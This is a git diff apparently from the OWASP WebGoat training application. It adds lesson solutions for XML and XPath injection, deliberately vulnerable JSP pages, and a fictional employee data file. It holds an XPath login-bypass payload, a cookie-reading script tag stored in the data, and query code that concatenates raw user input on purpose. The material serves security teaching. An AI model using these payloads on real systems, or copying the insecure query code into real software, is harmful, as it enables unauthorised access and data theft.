Concept / +Topic To Teach:

+ +

This lesson +teaches how to perform XML Injection attacks.

+ +

 

+ +

How the +attacks works:   

+ +

AJAX applications +use XML to exchange information with the server. This XML can be easily +intercepted and altered by a malicious attacker.

+ +

 

+ +

General +Goal(s):

+ +

WebGoat-Miles +Reward Miles shows all the rewards available. Once you've entered your account +ID, the lesson will show you your balance and the products you can afford. Your +goal is to try to add more rewards to your allowed set of rewards. Your account +ID is 836239.

+ +

 

+ +

+ +

Figure 1 AJAX Security - XML Injection

+ +

 

+ +

Solution:

+ +

 

+ +

To understand +the behavior of the AJAX application, enter your account number 836239 and +intercept the HTTP Request and HTTP Response using WebScarab.

+ +

 

+ +

+ +

Figure 2 Enter account number

+ +

 

+ +

+ +

Figure 3 Intercepted HTTP Request

+ +

 

+ +

+ +

Figure 4 Intercepted HTTP Response

+ +

 

+ +

From the HTTP Response you can see that you get back an XML +message with the rewards for your account:

+ +

 

+ +

<root>

+ +

<reward>WebGoat t-shirt 20 Pts</reward>

+ +

<reward>WebGoat Secure Kettle 50 Pts</reward>

+ +

<reward>WebGoat Mug 30 Pts</reward>

+ +

</root>

+ +

 

+ +

What happens if you intercept this HTTP Response and update +the XML message to become:

+ +

 

+ +

<root>

+ +

<reward>WebGoat t-shirt 20 Pts</reward>

+ +

<reward>WebGoat Secure Kettle 50 Pts</reward>

+ +

<reward>WebGoat Mug 30 Pts</reward>

+ +

<reward>WebGoat Core Duo Laptop 2000 +Pts</reward>

+ +

<reward>WebGoat Hawaii Cruise 3000 Pts</reward>

+ +

</root>

+ +

 

+ + +

+ +

Figure 5 Changed XML response

+ +

 

+ +

You need to +do this three times!

+ +

 

+ +

+ +

Figure 6 Injected XML results

+ +

 

+ +

+ +

Figure 7 Select your reward

+ +

 

+ +

Select the +Laptop and the Cruise and click “Submit”.

+ +

 

+ +

+ +

Figure 8 Lesson completed

+ +

 

+ +
+ + + + + +
+ Solution by Erwin Geirnaert + ZION SECURITY
+ + + + diff --git a/main/project/WebContent/lesson_solutions/XMLInjection_files/colorschememapping.xml b/main/project/WebContent/lesson_solutions/XMLInjection_files/colorschememapping.xml new file mode 100644 index 000000000..b200daa38 --- /dev/null +++ b/main/project/WebContent/lesson_solutions/XMLInjection_files/colorschememapping.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/main/project/WebContent/lesson_solutions/XMLInjection_files/filelist.xml b/main/project/WebContent/lesson_solutions/XMLInjection_files/filelist.xml new file mode 100644 index 000000000..91acaa646 --- /dev/null +++ b/main/project/WebContent/lesson_solutions/XMLInjection_files/filelist.xml @@ -0,0 +1,22 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/main/project/WebContent/lesson_solutions/XMLInjection_files/image001.png b/main/project/WebContent/lesson_solutions/XMLInjection_files/image001.png new file mode 100644 index 000000000..b32e9194e Binary files /dev/null and b/main/project/WebContent/lesson_solutions/XMLInjection_files/image001.png differ diff --git a/main/project/WebContent/lesson_solutions/XMLInjection_files/image003.png b/main/project/WebContent/lesson_solutions/XMLInjection_files/image003.png new file mode 100644 index 000000000..f0de7feb1 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/XMLInjection_files/image003.png differ diff --git a/main/project/WebContent/lesson_solutions/XMLInjection_files/image005.png b/main/project/WebContent/lesson_solutions/XMLInjection_files/image005.png new file mode 100644 index 000000000..d2589d1b8 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/XMLInjection_files/image005.png differ diff --git a/main/project/WebContent/lesson_solutions/XMLInjection_files/image007.png b/main/project/WebContent/lesson_solutions/XMLInjection_files/image007.png new file mode 100644 index 000000000..d2489a851 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/XMLInjection_files/image007.png differ diff --git a/main/project/WebContent/lesson_solutions/XMLInjection_files/image009.png b/main/project/WebContent/lesson_solutions/XMLInjection_files/image009.png new file mode 100644 index 000000000..c2b095cd1 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/XMLInjection_files/image009.png differ diff --git a/main/project/WebContent/lesson_solutions/XMLInjection_files/image011.png b/main/project/WebContent/lesson_solutions/XMLInjection_files/image011.png new file mode 100644 index 000000000..e316c46cb Binary files /dev/null and b/main/project/WebContent/lesson_solutions/XMLInjection_files/image011.png differ diff --git a/main/project/WebContent/lesson_solutions/XMLInjection_files/image013.png b/main/project/WebContent/lesson_solutions/XMLInjection_files/image013.png new file mode 100644 index 000000000..2c485734d Binary files /dev/null and b/main/project/WebContent/lesson_solutions/XMLInjection_files/image013.png differ diff --git a/main/project/WebContent/lesson_solutions/XMLInjection_files/image015.png b/main/project/WebContent/lesson_solutions/XMLInjection_files/image015.png new file mode 100644 index 000000000..f59f4c79b Binary files /dev/null and b/main/project/WebContent/lesson_solutions/XMLInjection_files/image015.png differ diff --git a/main/project/WebContent/lesson_solutions/XMLInjection_files/image017.jpg b/main/project/WebContent/lesson_solutions/XMLInjection_files/image017.jpg new file mode 100644 index 000000000..5cde78c29 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/XMLInjection_files/image017.jpg differ diff --git a/main/project/WebContent/lesson_solutions/XMLInjection_files/image018.jpg b/main/project/WebContent/lesson_solutions/XMLInjection_files/image018.jpg new file mode 100644 index 000000000..50a020099 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/XMLInjection_files/image018.jpg differ diff --git a/main/project/WebContent/lesson_solutions/XMLInjection_files/image019.jpg b/main/project/WebContent/lesson_solutions/XMLInjection_files/image019.jpg new file mode 100644 index 000000000..3ec8d20a1 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/XMLInjection_files/image019.jpg differ diff --git a/main/project/WebContent/lesson_solutions/XMLInjection_files/image020.jpg b/main/project/WebContent/lesson_solutions/XMLInjection_files/image020.jpg new file mode 100644 index 000000000..3181beb41 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/XMLInjection_files/image020.jpg differ diff --git a/main/project/WebContent/lesson_solutions/XMLInjection_files/image021.jpg b/main/project/WebContent/lesson_solutions/XMLInjection_files/image021.jpg new file mode 100644 index 000000000..164e97f7d Binary files /dev/null and b/main/project/WebContent/lesson_solutions/XMLInjection_files/image021.jpg differ diff --git a/main/project/WebContent/lesson_solutions/XMLInjection_files/image022.jpg b/main/project/WebContent/lesson_solutions/XMLInjection_files/image022.jpg new file mode 100644 index 000000000..155301a55 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/XMLInjection_files/image022.jpg differ diff --git a/main/project/WebContent/lesson_solutions/XMLInjection_files/image023.jpg b/main/project/WebContent/lesson_solutions/XMLInjection_files/image023.jpg new file mode 100644 index 000000000..3ed684669 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/XMLInjection_files/image023.jpg differ diff --git a/main/project/WebContent/lesson_solutions/XMLInjection_files/image024.jpg b/main/project/WebContent/lesson_solutions/XMLInjection_files/image024.jpg new file mode 100644 index 000000000..00a8ad33b Binary files /dev/null and b/main/project/WebContent/lesson_solutions/XMLInjection_files/image024.jpg differ diff --git a/main/project/WebContent/lesson_solutions/XMLInjection_files/themedata.thmx b/main/project/WebContent/lesson_solutions/XMLInjection_files/themedata.thmx new file mode 100644 index 000000000..55426d8ec Binary files /dev/null and b/main/project/WebContent/lesson_solutions/XMLInjection_files/themedata.thmx differ diff --git a/main/project/WebContent/lesson_solutions/XPATHInjection.html b/main/project/WebContent/lesson_solutions/XPATHInjection.html new file mode 100644 index 000000000..d363b43e8 --- /dev/null +++ b/main/project/WebContent/lesson_solutions/XPATHInjection.html @@ -0,0 +1,780 @@ + + + + + + + + + + + + + + + + + + + +
+ +

Lesson +Plan Title: How to +Perform XPATH Injection Attacks.

+ +

 

+ +

Concept / +Topic To Teach:

+ +

This lesson +teaches how to perform XPath Injection attacks.

+ +

 

+ +

How the +attacks works:

+ +

Similar to SQL +Injection, XPATH Injection attacks occur when a web site uses user supplied +information to query XML data. By sending intentionally malformed information +into the web site, an attacker can find out how the XML data is structured or +access data that they may not normally have access to. They may even be able to +elevate their privileges on the web site if the xml data is being used for +authentication (such as an xml based user file). Querying XML is done with +XPath, a type of simple descriptive statement that allows the xml query to +locate a piece of information. Like SQL you can specify certain attributes to +find and patterns to match. When using XML for a web site it is common to +accept some form of input on the query string to identify the content to locate +and display on the page. This input must be sanitized to verify that it doesn't +mess up the XPath query and return the wrong data.

+ +

 

+ +

General +Goal(s):

+ +

The +form below allows employees to see all their personal data including their +salaries. Your account is Mike/test123. Your goal is to try to see other +employees data as well.

+ +

 

+ +

+ +

Figure 1 XPath Injection

+ +

 

+ +

 

+ +

 

+ +

 

+ +

Solution:

+ +

 

+ +

XPath injection is similar to SQL Injection. Input is not validated and +used to create a XPath query. Injecting Smith' or 1=1 or 'a'='a will log you on +as the first user defined in the system. Password is a required field, so there +you can enter whatever you want.

+ +

 

+ +

+ +

Figure 2 Inject XPath payload

+ +

 

+ +

+ +

Figure 3 Lesson completed

+ +

 

+ +
+ + + + + +
+ Solution by Erwin Geirnaert + ZION SECURITY
+ + + + diff --git a/main/project/WebContent/lesson_solutions/XPATHInjection_files/colorschememapping.xml b/main/project/WebContent/lesson_solutions/XPATHInjection_files/colorschememapping.xml new file mode 100644 index 000000000..b200daa38 --- /dev/null +++ b/main/project/WebContent/lesson_solutions/XPATHInjection_files/colorschememapping.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/main/project/WebContent/lesson_solutions/XPATHInjection_files/filelist.xml b/main/project/WebContent/lesson_solutions/XPATHInjection_files/filelist.xml new file mode 100644 index 000000000..3d5d19db6 --- /dev/null +++ b/main/project/WebContent/lesson_solutions/XPATHInjection_files/filelist.xml @@ -0,0 +1,12 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/main/project/WebContent/lesson_solutions/XPATHInjection_files/image001.png b/main/project/WebContent/lesson_solutions/XPATHInjection_files/image001.png new file mode 100644 index 000000000..c710b2228 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/XPATHInjection_files/image001.png differ diff --git a/main/project/WebContent/lesson_solutions/XPATHInjection_files/image003.png b/main/project/WebContent/lesson_solutions/XPATHInjection_files/image003.png new file mode 100644 index 000000000..aa3b3886c Binary files /dev/null and b/main/project/WebContent/lesson_solutions/XPATHInjection_files/image003.png differ diff --git a/main/project/WebContent/lesson_solutions/XPATHInjection_files/image005.png b/main/project/WebContent/lesson_solutions/XPATHInjection_files/image005.png new file mode 100644 index 000000000..c63e9830a Binary files /dev/null and b/main/project/WebContent/lesson_solutions/XPATHInjection_files/image005.png differ diff --git a/main/project/WebContent/lesson_solutions/XPATHInjection_files/image007.jpg b/main/project/WebContent/lesson_solutions/XPATHInjection_files/image007.jpg new file mode 100644 index 000000000..a74456833 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/XPATHInjection_files/image007.jpg differ diff --git a/main/project/WebContent/lesson_solutions/XPATHInjection_files/image008.jpg b/main/project/WebContent/lesson_solutions/XPATHInjection_files/image008.jpg new file mode 100644 index 000000000..229e969db Binary files /dev/null and b/main/project/WebContent/lesson_solutions/XPATHInjection_files/image008.jpg differ diff --git a/main/project/WebContent/lesson_solutions/XPATHInjection_files/image009.jpg b/main/project/WebContent/lesson_solutions/XPATHInjection_files/image009.jpg new file mode 100644 index 000000000..731010dab Binary files /dev/null and b/main/project/WebContent/lesson_solutions/XPATHInjection_files/image009.jpg differ diff --git a/main/project/WebContent/lesson_solutions/XPATHInjection_files/themedata.thmx b/main/project/WebContent/lesson_solutions/XPATHInjection_files/themedata.thmx new file mode 100644 index 000000000..55426d8ec Binary files /dev/null and b/main/project/WebContent/lesson_solutions/XPATHInjection_files/themedata.thmx differ diff --git a/main/project/WebContent/lessons/Ajax/clientSideFiltering.jsp b/main/project/WebContent/lessons/Ajax/clientSideFiltering.jsp new file mode 100644 index 000000000..f8181cb0b --- /dev/null +++ b/main/project/WebContent/lessons/Ajax/clientSideFiltering.jsp @@ -0,0 +1,114 @@ + +<%@ page language="java" contentType="text/html; charset=ISO-8859-1" + pageEncoding="ISO-8859-1"%> + +<%@ page import="java.io.*, javax.xml.xpath.*, org.xml.sax.InputSource,org.w3c.dom.*,org.apache.ecs.html.* " %> + +<% + + String userId = request.getParameter("userID"); + + + NodeList nodes = null; + + + + File d = new File(this.getServletContext().getRealPath("lessons/Ajax/employees.xml")); + + if(d.exists()){ + System.out.print("File does exist"); + } + else{ + System.out.print("File DOES NOT exist"); + } + + System.out.println(d.getAbsolutePath()); + XPathFactory factory = XPathFactory.newInstance(); + XPath xPath = factory.newXPath(); + InputSource inputSource = new InputSource(new FileInputStream(d)); + + + + + + + StringBuffer sb = new StringBuffer(); + + sb.append("/Employees/Employee/UserID | "); + sb.append("/Employees/Employee/FirstName | "); + sb.append("/Employees/Employee/LastName | "); + sb.append("/Employees/Employee/SSN | "); + sb.append("/Employees/Employee/Salary "); + + String expression = sb.toString(); + + + System.out.print("expression:" + expression); + + + + nodes = (NodeList) xPath.evaluate(expression, inputSource, + XPathConstants.NODESET); + int nodesLength = nodes.getLength(); + + + System.out.println("nodesLength:" + nodesLength); + + TR tr; + + int COLUMNS = 5; + + Table t2 = null; + if (nodesLength > 0) + { + t2 = new Table().setCellSpacing(0).setCellPadding(0).setBorder( + 1).setWidth("90%").setAlign("center"); + tr = new TR(); + tr.addElement(new TD().addElement("UserID")); + tr.addElement(new TD().addElement("First Name")); + tr.addElement(new TD().addElement("Last Name")); + tr.addElement(new TD().addElement("SSN")); + tr.addElement(new TD().addElement("Salary")); + t2.addElement(tr); + } + + + + tr = new TR(); + + for (int i = 0; i < nodesLength; i++) + { + Node node = nodes.item(i); + + if(i%COLUMNS==0){ + tr = new TR(); + tr.setID(node.getTextContent()); + //tr.setStyle("display: none"); + } + + tr.addElement(new TD().addElement(node.getTextContent())); + + if(i%COLUMNS==(COLUMNS-1)){ + t2.addElement(tr); + } + } + + if(t2 != null){ + out.println(t2.toString()); + } + else{ + out.println("No Results"); + } + + + + + + + + + + + +%> + diff --git a/main/project/WebContent/lessons/Ajax/clientSideFiltering_backup.jsp b/main/project/WebContent/lessons/Ajax/clientSideFiltering_backup.jsp new file mode 100644 index 000000000..f8181cb0b --- /dev/null +++ b/main/project/WebContent/lessons/Ajax/clientSideFiltering_backup.jsp @@ -0,0 +1,114 @@ + +<%@ page language="java" contentType="text/html; charset=ISO-8859-1" + pageEncoding="ISO-8859-1"%> + +<%@ page import="java.io.*, javax.xml.xpath.*, org.xml.sax.InputSource,org.w3c.dom.*,org.apache.ecs.html.* " %> + +<% + + String userId = request.getParameter("userID"); + + + NodeList nodes = null; + + + + File d = new File(this.getServletContext().getRealPath("lessons/Ajax/employees.xml")); + + if(d.exists()){ + System.out.print("File does exist"); + } + else{ + System.out.print("File DOES NOT exist"); + } + + System.out.println(d.getAbsolutePath()); + XPathFactory factory = XPathFactory.newInstance(); + XPath xPath = factory.newXPath(); + InputSource inputSource = new InputSource(new FileInputStream(d)); + + + + + + + StringBuffer sb = new StringBuffer(); + + sb.append("/Employees/Employee/UserID | "); + sb.append("/Employees/Employee/FirstName | "); + sb.append("/Employees/Employee/LastName | "); + sb.append("/Employees/Employee/SSN | "); + sb.append("/Employees/Employee/Salary "); + + String expression = sb.toString(); + + + System.out.print("expression:" + expression); + + + + nodes = (NodeList) xPath.evaluate(expression, inputSource, + XPathConstants.NODESET); + int nodesLength = nodes.getLength(); + + + System.out.println("nodesLength:" + nodesLength); + + TR tr; + + int COLUMNS = 5; + + Table t2 = null; + if (nodesLength > 0) + { + t2 = new Table().setCellSpacing(0).setCellPadding(0).setBorder( + 1).setWidth("90%").setAlign("center"); + tr = new TR(); + tr.addElement(new TD().addElement("UserID")); + tr.addElement(new TD().addElement("First Name")); + tr.addElement(new TD().addElement("Last Name")); + tr.addElement(new TD().addElement("SSN")); + tr.addElement(new TD().addElement("Salary")); + t2.addElement(tr); + } + + + + tr = new TR(); + + for (int i = 0; i < nodesLength; i++) + { + Node node = nodes.item(i); + + if(i%COLUMNS==0){ + tr = new TR(); + tr.setID(node.getTextContent()); + //tr.setStyle("display: none"); + } + + tr.addElement(new TD().addElement(node.getTextContent())); + + if(i%COLUMNS==(COLUMNS-1)){ + t2.addElement(tr); + } + } + + if(t2 != null){ + out.println(t2.toString()); + } + else{ + out.println("No Results"); + } + + + + + + + + + + + +%> + diff --git a/main/project/WebContent/lessons/Ajax/clientSideValidation.jsp b/main/project/WebContent/lessons/Ajax/clientSideValidation.jsp new file mode 100644 index 000000000..a035833c3 --- /dev/null +++ b/main/project/WebContent/lessons/Ajax/clientSideValidation.jsp @@ -0,0 +1,30 @@ +<%@ page language="java" contentType="text/html; charset=ISO-8859-1" + pageEncoding="ISO-8859-1"%> + + + +<% String coupon = request.getParameter("coupon"); + +if (coupon.equalsIgnoreCase("PLATINUM")){ + out.print(".25"); +} +else if (coupon.equalsIgnoreCase("GOLD")){ + out.print(".5"); +} +else if (coupon.equalsIgnoreCase("SILVER")){ + out.print(".75"); +} +else if (coupon.equalsIgnoreCase("BRONZE")){ + out.print(".8"); +} +else if (coupon.equalsIgnoreCase("PRESSONE")){ + out.print(".9"); +} +else if (coupon.equalsIgnoreCase("PRESSTWO")){ + out.print(".95"); +} + + + +%> + diff --git a/main/project/WebContent/lessons/Ajax/employees.xml b/main/project/WebContent/lessons/Ajax/employees.xml new file mode 100644 index 000000000..c15e654b4 --- /dev/null +++ b/main/project/WebContent/lessons/Ajax/employees.xml @@ -0,0 +1,251 @@ + + + + 101 + Larry + Stooge + 9175 Guilford Rd + New York, NY + 443-689-0192 + 1012000 + 386-09-5451 + 55000 + 2578546969853547 + 5000 + Does not work well with others + Constantly harassing coworkers + 10106 + + 102 + 111 + 112 + + + + 102 + Moe + Stooge + 3013 AMD Ave + New York, NY + 443-938-5301 + 3082003 + 936-18-4524 + 140000 + NA + 0 + Very dominating over Larry and Curly + Hit Curly over head + 101013 + + 112 + + + + 103 + Curly + Stooge + 1112 Crusoe Lane + New York, NY + 410-667-6654 + 2122001 + 961-08-0047 + 50000 + NA + 0 + Owes three-thousand to company for fradulent purchases + Hit Moe back + 101014 + + 102 + 111 + 112 + + + + 104 + Eric + Walker + 1160 Prescott Rd + New York, NY + 410-887-1193 + 12152005 + 445-66-5565 + 13000 + NA + 0 + Late. Always needs help. Too intern-ish. + Bothering Larry about webgoat problems + 101013 + + 107 + 102 + 111 + 112 + + + + 105 + Tom + Cat + 2211 HyperThread Rd. + New York, NY + 443-599-0762 + 1011999 + 792-14-6364 + 80000 + 5481360857968521 + 30000 + Co-Owner. + NA + 0 + + 106 + 102 + 111 + 112 + + + + 106 + Jerry + Mouse + 3011 Unix Drive + New York, NY + 443-699-3366 + 1011999 + 858-55-4452 + 70000 + 6981754825013564 + 20000 + Co-Owner. + NA + 0 + + 102 + 111 + 112 + + + + 107 + David + Giambi + 5132 DIMM Avenue + New York, NY + 610-521-8413 + 5011999 + 439-20-9405 + 100000 + 6981754825018101 + 10000 + Strong work habbit. Questionable ethics. + Hacked into accounting server. Modified personal pay. + 61402 + + 102 + 111 + 112 + + + + 108 + Bruce + McGuirre + 8899 FreeBSD Drive<script>alert(document.cookie)</script> + New York, NY + 610-282-1103 + 3012000 + 707-95-9482 + 110000 + 6981754825854136 + 30000 + Enjoys watching others struggle in exercises. + Tortuous Boot Camp workout at 5am. Employees felt sick. + 61502 + + 107 + 102 + 111 + 112 + + + + 109 + Sean + Livingston + 6422 dFlyBSD Road + New York, NY + 610-878-9549 + 6012003 + 136-55-1046 + 130000 + 6981754825014510 + 5000 + Has some fascination with Steelers. Go Ravens. + Late to work 30 days in row due to excessive Halo 2 + 72804 + + 107 + 102 + 111 + 112 + + + + 110 + Joanne + McDougal + 5567 Broadband Lane + New York, NY + 610-213-6341 + 1012001 + 789-54-2413 + 90000 + 6981754825081054 + 300 + Finds it necessary to leave early every day. + Used company cc to purchase new car. Limit adjusted. + 112005 + + 106 + 102 + 111 + 112 + + + + 111 + John + Wayne + 129 Third St + New York, NY + 610-213-1134 + 1012001 + 129-69-4572 + 200000 + 4437334565679921 + 300 + + + 112005 + + 112 + + + + 112 + Neville + Bartholomew + 1 Corporate Headquarters + San Jose, CA + 408-587-0024 + 3012000 + 111-111-1111 + 450000 + 4803389267684109 + 300 + + + 112005 + + diff --git a/main/project/WebContent/lessons/Ajax/eval.jsp b/main/project/WebContent/lessons/Ajax/eval.jsp new file mode 100644 index 000000000..d0c083ab3 --- /dev/null +++ b/main/project/WebContent/lessons/Ajax/eval.jsp @@ -0,0 +1,37 @@ +<%@ page language="java" contentType="text/html; charset=ISO-8859-1" import="java.util.regex.*" import="org.owasp.webgoat.lessons.DangerousEval" + pageEncoding="ISO-8859-1"%> +<% +String action = request.getParameter("action"); +String field1 = request.getParameter("field1"); +String field2 = request.getParameter("field2"); +String regex1 = "^[0-9]{3}$";// any three digits +Pattern pattern1 = Pattern.compile(regex1); + +if(action == null) action = "Purchase"; +if(field1 == null) field1 = "123"; +if(field2 == null) field2 = "-1"; + +/** For security reasons, we remove all '<' and '>' characters to prevent XSS **/ +field1.replaceAll("<", ""); +field1.replaceAll(">", ""); +field2.replaceAll("<", ""); +field2.replaceAll(">", ""); + +if("Purchase".equals(action)) +{ + if(!pattern1.matcher(field1).matches()) + { + /** If they supplied the right attack, pass them **/ + if(field1.indexOf("');") != -1 && field1.indexOf("alert") != -1 && field1.indexOf("document.cookie") != -1) + { + session.setAttribute(DangerousEval.PASSED, "true"); + } + + out.write("alert('Whoops: You entered an incorrect access code of \"" + field1 + "\"');"); + } + else + { + out.write("alert('Purchase completed successfully with credit card \"" + field2 + "\" and access code \"" + field1 + "\"');"); + } +} +%> diff --git a/main/project/WebContent/lessons/Ajax/images/lesson1_header.jpg b/main/project/WebContent/lessons/Ajax/images/lesson1_header.jpg new file mode 100644 index 000000000..60a809af0 Binary files /dev/null and b/main/project/WebContent/lessons/Ajax/images/lesson1_header.jpg differ diff --git a/main/project/WebContent/lessons/Ajax/images/lesson1_workspace.jpg b/main/project/WebContent/lessons/Ajax/images/lesson1_workspace.jpg new file mode 100644 index 000000000..292d25654 Binary files /dev/null and b/main/project/WebContent/lessons/Ajax/images/lesson1_workspace.jpg differ diff --git a/main/project/WebContent/lessons/Ajax/instructor/clientSideFiltering_i.jsp b/main/project/WebContent/lessons/Ajax/instructor/clientSideFiltering_i.jsp new file mode 100644 index 000000000..e6217ecb6 --- /dev/null +++ b/main/project/WebContent/lessons/Ajax/instructor/clientSideFiltering_i.jsp @@ -0,0 +1,111 @@ + +<%@ page language="java" contentType="text/html; charset=ISO-8859-1" + pageEncoding="ISO-8859-1"%> + +<%@ page import="java.io.*, javax.xml.xpath.*, org.xml.sax.InputSource,org.w3c.dom.*,org.apache.ecs.html.* " %> + +<% + +String userId = request.getParameter("userId"); + + + NodeList nodes = null; + + + + File d = new File(this.getServletContext().getRealPath("lessons/Ajax/employees.xml")); + + if(d.exists()){ + System.out.print("File does exist"); + } + else{ + System.out.print("File DOES NOT exist"); + } + + System.out.println(d.getAbsolutePath()); + XPathFactory factory = XPathFactory.newInstance(); + XPath xPath = factory.newXPath(); + InputSource inputSource = new InputSource(new FileInputStream(d)); + + + StringBuffer sb = new StringBuffer(); + + sb.append("/Employees/Employee [Managers/Manager/text()='" + userId + "']/UserID | "); + sb.append("/Employees/Employee [Managers/Manager/text()='" + userId + "']/FirstName | "); + sb.append("/Employees/Employee [Managers/Manager/text()='" + userId + "']/LastName | "); + sb.append("/Employees/Employee [Managers/Manager/text()='" + userId + "']/SSN | "); + sb.append("/Employees/Employee [Managers/Manager/text()='" + userId + "']/Salary "); + + String expression = sb.toString(); + + System.out.print("expression:" + expression); + + + + + + nodes = (NodeList) xPath.evaluate(expression, inputSource, + XPathConstants.NODESET); + int nodesLength = nodes.getLength(); + + + System.out.println("nodesLength:" + nodesLength); + + TR tr; + + int COLUMNS = 5; + + Table t2 = null; + if (nodesLength > 0) + { + t2 = new Table().setCellSpacing(0).setCellPadding(0).setBorder( + 1).setWidth("90%").setAlign("center"); + tr = new TR(); + tr.addElement(new TD().addElement("UserID")); + tr.addElement(new TD().addElement("First Name")); + tr.addElement(new TD().addElement("Last Name")); + tr.addElement(new TD().addElement("SSN")); + tr.addElement(new TD().addElement("Salary")); + t2.addElement(tr); + } + + + + tr = new TR(); + + for (int i = 0; i < nodesLength; i++) + { + Node node = nodes.item(i); + + if(i%COLUMNS==0){ + tr = new TR(); + tr.setID(node.getTextContent()); + //tr.setStyle("display: none"); + } + + tr.addElement(new TD().addElement(node.getTextContent())); + + if(i%COLUMNS==(COLUMNS-1)){ + t2.addElement(tr); + } + } + + if(t2 != null){ + out.println(t2.toString()); + } + else{ + out.println("No Results"); + } + + + + + + + + + + + +%> + diff --git a/main/project/WebContent/lessons/Ajax/sameOrigin.jsp b/main/project/WebContent/lessons/Ajax/sameOrigin.jsp new file mode 100644 index 000000000..26e652898 --- /dev/null +++ b/main/project/WebContent/lessons/Ajax/sameOrigin.jsp @@ -0,0 +1 @@ +Good Response \ No newline at end of file diff --git a/main/project/WebContent/lessons/ConfManagement/config.jsp b/main/project/WebContent/lessons/ConfManagement/config.jsp new file mode 100644 index 000000000..7abe1430f --- /dev/null +++ b/main/project/WebContent/lessons/ConfManagement/config.jsp @@ -0,0 +1,19 @@ +<%@ page language="java" contentType="text/html; charset=ISO-8859-1" + pageEncoding="ISO-8859-1"%> +<%@page import="org.owasp.webgoat.session.WebSession"%> +<% +WebSession webSession = ((WebSession)session.getAttribute("websession")); +%> + + + + +Configuration Page + + +<% response.sendRedirect(webSession.getCurrentLesson().getLink() + + "&succeeded=yes"); +%> + + + \ No newline at end of file diff --git a/main/project/WebContent/lessons/CrossSiteScripting/CrossSiteScripting.css b/main/project/WebContent/lessons/CrossSiteScripting/CrossSiteScripting.css new file mode 100644 index 000000000..fad6880ad --- /dev/null +++ b/main/project/WebContent/lessons/CrossSiteScripting/CrossSiteScripting.css @@ -0,0 +1,14 @@ +#lesson_wrapper {height: 435px;width: 500px;} +#lesson_header {background-image: url(lessons/CrossSiteScripting/images/lesson1_header.jpg);width: 490px;padding-right: 10px;padding-top: 60px;background-repeat: no-repeat;} +.lesson_workspace {background-image: url(lessons/CrossSiteScripting/images/lesson1_workspace.jpg);width: 489px;height: 325px;padding-left: 10px;padding-top: 10px;background-repeat: no-repeat;} +.lesson_text {height: 240px;width: 460px;padding-top: 5px;} +#lesson_buttons_bottom {height: 20px;width: 460px;} +#lesson_b_b_left {width: 300px;float: left;} +#lesson_b_b_right input {width: 100px;float: right;} +.lesson_title_box {height: 20px;width: 420px;padding-left: 30px;} +.lesson_workspace { } +.lesson_txt_10 {font-family: Arial, Helvetica, sans-serif;font-size: 10px;} +.lesson_text_db {color: #0066FF} +#lesson_login {background-image: url(lessons/CrossSiteScripting/images/lesson1_loginWindow.jpg);height: 124px;width: 311px;background-repeat: no-repeat;padding-top: 30px;margin-left: 80px;margin-top: 50px;text-align: center;} +#lesson_login_txt {font-family: Arial, Helvetica, sans-serif;font-size: 12px;text-align: center;} +#lesson_search {background-image: url(lessons/CrossSiteScripting/images/lesson1_SearchWindow.jpg);height: 124px;width: 311px;background-repeat: no-repeat;padding-top: 30px;margin-left: 80px;margin-top: 50px;text-align: center;} diff --git a/main/project/WebContent/lessons/CrossSiteScripting/CrossSiteScripting.jsp b/main/project/WebContent/lessons/CrossSiteScripting/CrossSiteScripting.jsp new file mode 100644 index 000000000..a571c370c --- /dev/null +++ b/main/project/WebContent/lessons/CrossSiteScripting/CrossSiteScripting.jsp @@ -0,0 +1,26 @@ +<%@ page contentType="text/html; charset=ISO-8859-1" language="java" + import="org.owasp.webgoat.session.*, org.owasp.webgoat.lessons.CrossSiteScripting.CrossSiteScripting" + errorPage="" %> + +<% +WebSession webSession = ((WebSession)session.getAttribute("websession")); +CrossSiteScripting currentLesson = (CrossSiteScripting) webSession.getCurrentLesson(); +%> +
+
+
+ <% + String subViewPage = currentLesson.getPage(webSession); + if (subViewPage != null) + { + //System.out.println("Including sub view page: " + subViewPage); + %> + + <% + } + %> + +
+
\ No newline at end of file diff --git a/main/project/WebContent/lessons/CrossSiteScripting/EditProfile.jsp b/main/project/WebContent/lessons/CrossSiteScripting/EditProfile.jsp new file mode 100644 index 000000000..13952f612 --- /dev/null +++ b/main/project/WebContent/lessons/CrossSiteScripting/EditProfile.jsp @@ -0,0 +1,134 @@ +<%@ page contentType="text/html; charset=ISO-8859-1" language="java" + import="java.util.*, org.owasp.webgoat.session.*, org.owasp.webgoat.lessons.CrossSiteScripting.CrossSiteScripting" + errorPage="" %> +<% + WebSession webSession = ((WebSession)session.getAttribute("websession")); + Employee employee = (Employee) session.getAttribute("CrossSiteScripting.Employee"); +%> +
Welcome Back <%=webSession.getUserNameInLesson()%>
+
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ First Name: + + + + Last Name: + + +
+ Street: + + + + City/State: + + +
+ Phone: + + + + Start Date: + + +
+ SSN: + + + + Salary: + + +
+ Credit Card: + + + + Credit Card Limit: + + +
+ Comments: + + + + Manager: + + +
+ Disciplinary Explanation: + + + + Disciplinary Action Dates: + + +
+
+
+ + + + + + + + +
+ + + + + + + +
+
+
+
